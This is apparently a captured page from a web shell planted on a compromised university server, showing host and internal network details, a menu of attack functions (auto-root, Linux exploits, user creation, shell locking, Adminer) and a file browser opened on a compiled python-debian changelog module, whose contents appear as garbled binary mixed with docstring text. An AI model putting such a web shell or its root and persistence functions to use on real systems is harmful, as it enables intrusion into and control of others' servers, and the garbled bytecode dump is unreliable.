Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
debian /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
arfile.cpython-310.pyc
9.79
KB
-rw-r--r--
changelog.cpython-310.pyc
26.91
KB
-rw-r--r--
copyright.cpython-310.pyc
20.59
KB
-rw-r--r--
deb822.cpython-310.pyc
73.79
KB
-rw-r--r--
debfile.cpython-310.pyc
12.91
KB
-rw-r--r--
debian_support.cpython-310.pyc
19.8
KB
-rw-r--r--
debtags.cpython-310.pyc
13.86
KB
-rw-r--r--
deprecation.cpython-310.pyc
1
KB
-rw-r--r--
__init__.cpython-310.pyc
808
B
-rw-r--r--
_util.cpython-310.pyc
10.93
KB
-rw-r--r--
_version.cpython-310.pyc
215
B
-rw-r--r--
watch.cpython-310.pyc
6.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : changelog.cpython-310.pyc
o ���aЗ � @ sX d Z ddlZddlZddlZddlZddlZzddlZW n ey% Y nw z-ddl m Z mZmZm Z mZmZmZmZmZmZmZmZ eeeee ee ee f ZW n ey\ Y nw ddlmZ G dd� de�ZG dd� de�ZG d d � d e�ZG dd� de�Ze� d ddi ej!�Z"e� d�Z#e� d�Z$e� d�Z%e� d�Z&e� d�Z'e� dej!�Z(e� dej!�Z)e� dej!�Z*e� dej!�Z+e� dej!�Z,e� d�Z-e� d�Z.e� d�Z/e� dej!�Z0e� dej!�Z1e� d�Z2e� d �Z3e� d!ej!�Z4e� d"ej!�Z5e� d#ej!�Z6e� d$ej!�Z7e� d%ej!�Z8e� d&�Z9G d'd(� d(e�Z:d)d*� Z;d.d,d-�Z<dS )/a� Facilities for reading and writing Debian changelogs The aim of this module is to provide programmatic access to Debian changelogs to query and manipulate them. The format for the changelog is defined in `deb-changelog(5) <https://manpages.debian.org/stretch/dpkg-dev/deb-changelog.5.html>`_ Stability: The API is not marked as stable but hasn't changed incompatibly since 2007. Potential users of these classes are asked to work with the `python-debian` maintainers to improve, extend and stabilise this API. Overview ======== Create a changelog object using the constuctor. Pass it the contents of the file if there are some entries, or ``None`` to create an empty changelog:: >>> import debian.changelog >>> ch = debian.changelog.Changelog() >>> maintainer, email = 'John Doe', 'joe@example.com' >>> timestamp = 1617222715 >>> # You might want to use get_maintainer() a la: >>> # maintainer, email = debian.changelog.get_maintainer() >>> ch.new_block( ... package='example', ... version='0.1', ... distributions='unstable', ... urgency='low', ... author="%s <%s>" % (maintainer, email), ... # You can also omit timestamp, if you are fine with "now" ... # We use a hard-coded timestamp for deterministic output ... date=debian.changelog.format_date(timestamp=1617222715, localtime=False) ... ) >>> ch.add_change('') >>> ch.add_change(' * Some change') >>> ch.add_change('') >>> print(ch, end='') example (0.1) unstable; urgency=low <BLANKLINE> * Some change <BLANKLINE> -- John Doe <joe@example.com> Wed, 31 Mar 2021 20:31:55 -0000 <BLANKLINE> If you have the full contents of a changelog, but are only interested in the most recent versions you can pass the ``max_blocks`` keyword parameter to the constuctor to limit the number of blocks of the changelog that will be parsed. If you are only interested in the most recent version of the package then pass ``max_blocks=1``:: >>> import gzip >>> from debian.changelog import Changelog >>> with gzip.open('/usr/share/doc/dpkg/changelog.Debian.gz') as fh: ... ch = Changelog(fh, max_blocks=1) >>> print(''' ... Package: %s ... Version: %s ... Urgency: %s''' % (ch.package, ch.version, ch.urgency)) # doctest: +SKIP Package: dpkg Version: 1.18.24 Urgency: medium See `/usr/share/doc/python-debian/examples/changelog/` or the `git repository <https://salsa.debian.org/python-debian-team/python-debian/tree/master/ examples/changelog>`_ for examples of usage. The :class:`Changelog` class is the key class within this module. Changelog Classes ----------------- � N)�Any�Dict�Iterable�Iterator�IO�List�Optional�Pattern�Union�Text�Tuple�TypeVar)�Versionc �, e Zd ZdZdZ� fdd�Zdd� Z� ZS )�ChangelogParseErrorz0Indicates that the changelog could not be parsedTc � || _ tt| ��� d S �N)�_line�superr �__init__��self�line�� __class__� �2/usr/lib/python3/dist-packages/debian/changelog.pyr � � zChangelogParseError.__init__c C � d| j S )NzCould not parse changelog: )r �r r r r �__str__� � zChangelogParseError.__str__��__name__� __module__�__qualname__�__doc__� is_user_errorr r � __classcell__r r r r r � s r c @ s e Zd ZdZdS )�ChangelogCreateErrorz`Indicates that changelog could not be created, as all the information required was not givenN)r# r$ r% r&